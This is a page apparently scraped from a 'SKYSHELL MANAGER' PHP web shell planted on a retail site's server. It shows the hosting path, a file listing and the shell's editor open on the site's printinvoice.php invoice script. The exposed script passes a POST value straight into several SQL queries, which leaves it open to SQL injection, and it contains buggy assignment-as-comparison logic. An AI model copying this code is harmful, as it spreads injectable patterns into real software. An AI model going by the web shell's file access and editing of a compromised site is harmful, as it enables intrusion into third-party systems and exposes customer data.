ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Current Path: home/oshofree/public_html/chbluxuries.com/chb_data/

Name	Size	Permissions	Actions
📁 ..	-	0755	🗑️
📄 config.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 error_log	5758.06 KB	0644	🗑️ ⬇️ ✏️

Editing: printinvoice.php

<?php
	  if(isset($_POST['printinvoice'])){
	  include "config/connect_to_mysqli.php"; 
	  $orid=$_POST['printinvoice'];

//order details    
$sql = "SELECT * from orders WHERE orderid='$orid' ORDER BY s DESC";
$sql2 = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($sql2)) {
$order_id=$row['orderid'];
$order_date=$row['date'];
$total_amount=$row['total_amount'];
$order_state=$row['delivery_state'];
$order_name=$row['staff'];
$order_phone=$row['number'];
$notes=$row['notes'];
$shipment=$row['deliveryfee'];
$method=$row['method'];
$type=$row['type'];
$pricing=$row['pricing'];
$banks=$row['bank_amount'];
$cashs=$row['cash_amount'];
$pos=$row['pos_amount'];
$gifts=$row['gift_amount'];
$cards=$row['card_amount'];
$wallets=$row['wallet_amount'];
$payment=$row['payment'];
$cashier=$row['cashier']; 
$home_address=$row['home_address'];
$homedelivery=$row['home_delivery'];
$deliverytown=$row['delivery_town'];
$deliverystreet=$row['delivery_street'];
$deliverysuite=$row['delivery_suite'];

if($notes==''){$notes="None";}

$retype="pickup";
                  if($type="within lagos"){
                  $retype="delivery(Within Lagos)"; }
                  
                  if($type="deliver"){
                  $retype="delivery(Other States)";}
$paid_now=$banks+$cashs+$pos+$gifts+$cards+$wallets;
$paid_left=$total_amount-$paid_now;                  
}}else{
$previousPage = $_SESSION['previous_page'] ?? 'onlineorder';
header("Location: $previousPage"); }

<div class="no-page-break">
<p><img src='https://chbluxuries.com/img/luxury.png' width='70px' height='70px' /></p>
<p><b>Order No: </b> <?php echo $orid; ?>
<p><b>Order Date: </b> <?php echo $order_date; ?>
<br><b> Customer Name :</b>  <?php echo $order_name; ?>
<br><b> Customer Phone No:</b>  <?php echo $order_phone; ?>
<br><b> Payment Method:</b>  <?php echo $method; 
$sqls = "SELECT * FROM bank_transfers WHERE orderid='$order_id' AND status='processed'";
$sql2s = mysqli_query($con, $sqls);
if ($sql2s && mysqli_num_rows($sql2s) > 0) {
    while ($rows = mysqli_fetch_array($sql2s)) {  
        $banks = $rows['bank'];
        echo ' /' . $banks;
    }
} else {
    echo " /Handled by superadmin for now.";
}
?>
<br><b>Order Type: </b> <?php echo $payment; ?>
<br><b>Order Deliery Type: </b> <?php echo $retype; ?>
<br><b> Delivery Fee:</b>  &#8358;<?php echo $shipment; ?>
<br><b>Total Amount:</b>  &#8358;<?php echo $total_amount;  ?>
<br><b>Total Paid:</b>  &#8358;<?php echo $paid_now;  ?>
<br><b>Total Left:</b>  &#8358;<?php echo $paid_left;  ?>
<br><b>Processed By:</b>  <?php echo $cashier;  ?>
<br><b> Delivery details:</b> <?php  echo $order_state; ?>/<?php  echo $deliverytown; ?>/<?php  echo $deliverystreet; ?>/<?php  echo $deliverysuite; ?>
<br><b> Additional Message:</b>  <?php echo $notes; ?></p>

<table class='table table-hover' width="100%" style="border:none; outline:none;" cellspacing='1'>
<thead><tr bgcolor="white" style="font-size:16px; text-align:left !important;">
	               	<th data-column-id='employee_name' >Barcode</th>
					<th data-column-id='employee_name' >Item picture</th>
					<th data-column-id='employee_name'  >Item</th>
					<th data-column-id='employee_name' >Price</th>
					<th data-column-id='employee_name'  >Quantity</th> 
					<th data-column-id='employee_name' >Total</th>
					<th data-column-id='employee_name' >Deduction</th>
					</tr>
	<?php
	if(isset($_POST['printinvoice'])){
 	 $sql = "SELECT * from stock_orders WHERE orderid='$orid' && status='yes' ORDER BY s ASC";
     $sql2 = mysqli_query($con,$sql);
     $count = mysqli_num_rows($sql2);
     if ($count < 0) {
     echo "No Items Found For this Order!";
     }
     else{
     while ($row = mysqli_fetch_array($sql2)) {
     $num = $vars = $group = $naira = $media =  $resultString= $v_media = $item = $itemname = $color = $preorder = '';

$num=$row['quantity'];
         $naira=$row['price'];
         $amount=$row['unit_price'];
         $item=$row['stockid'];
         $itemname=$row['name'];
         $color=$row['color'];
         $stockrow=$row['s'];
         $preorder=$row['preorder'];
    
 $checkItem = mysqli_query($con, "SELECT * FROM stocks WHERE id='$item'");
 if (mysqli_num_rows($checkItem) > 0) {
               
    $combinedQuery = "
    SELECT s.*, v.color AS vars, v.media AS v_media, si.media AS media
    FROM stocks s
    LEFT JOIN variation v ON s.id = v.item
    LEFT JOIN stock_images si ON s.group_id = si.id
    WHERE s.id = '$item' AND v.s='$color'";

$combinedResult = mysqli_query($con, $combinedQuery);

if (mysqli_num_rows($combinedResult) > 0) {
    $combinedRow = mysqli_fetch_array($combinedResult);

$vars = $combinedRow['vars'];
    $v_media = $combinedRow['v_media'];
    $retail = $combinedRow['retail_price'];
    $whole = $combinedRow['wholesales_price'];
    $wholenum = $combinedRow['wholesales_quantity'];
    $group = $combinedRow['group_id'];
    $media = $combinedRow['media'];
}

$sqla = "SELECT SUM(sl.value) total_quantity, cs.s AS shopid,cs.name FROM stock_log sl JOIN chb_stores cs ON sl.store = cs.s WHERE sl.stockrow = '$stockrow' GROUP BY sl.store";
$sql2a = mysqli_query($con, $sqla);
if ($sql2a) {
    $resultString = "";
    while ($rows = mysqli_fetch_array($sql2a)) {
        $shop_id=$rows['shopid'];
        if($shop_id=="1"){ $shopname="Ikeja";} else if($shop_id=="3"){ $shopname="Warehouse";} 
        $resultString .= "{$rows['total_quantity']} from {$shopname}, ";
    }
} else {
    echo "Error executing query: " . mysqli_error($con);
}}

//preorder notice
           $pretext="";
           if($preorder > 0){ $pretext="<br>(".$preorder. " on pre-order)"; } 
             
          
$logo="https://chbluxuries.com/img/luxury.png";
$imageToShow = (!empty($v_media) && $v_media !== "null") ? "stocks/".$v_media : (!empty($media) ? "stocks/".$media : $logo);
$vars = ($vars === "null" || $vars === "") ? "" : "($vars)";

echo " <tr style='color:black; font-size:16px;'>
             <td>" . $group . "</td>
             <td ><img src=".$imageToShow." style=' width: 60px; height: auto;' class='printable' ></td>
             <td >" . $itemname . "<br>
             <span style='font-weight:500;'> ".$vars."</span></td>
             <td>&#8358;" . $amount. "</td>
             <td>" . $num . "<span style='color:red; font-size:12px; text-transform:none;'>$pretext</span></td>
             <td>&#8358;" . $naira. "</td></td>
             <td style='font-size:12px;'>$resultString </td><tr>";

}}}
    ?> 
</table></div>
<style>
@media print {
  .no-page-break {
    page-break-inside: avoid;
  }
}

@media print {
    #head{
       display:none;
    }

table {
    page-break-inside: avoid;
  }

/* Set page size and margins */
@page {
  size: A4;
  margin:none;
}

/* Ensure the content is centered on print */
body {
  display: block;
  justify-content: center;
  align-items: center;
  font-size:14px;
  margin:none;
   padding: 10px;
}

/* Table styles */
table {
  width: 90%;
  border-collapse: collapse;
  font-size:14px;
  position:absolute;
}

th, td {
  border: none;
  padding: 8px;
}

.no-print {
  display: none;
}}
</style>
<div id="head"><center><button onclick="goBack()" class="btn btn-primary text-light btn-sm">Go Back</button></center></div>
<script type="text/javascript">
  window.onload = function() {
    window.print();
  };
  function goBack() {
  window.history.back();
}
</script>

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: printinvoice.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33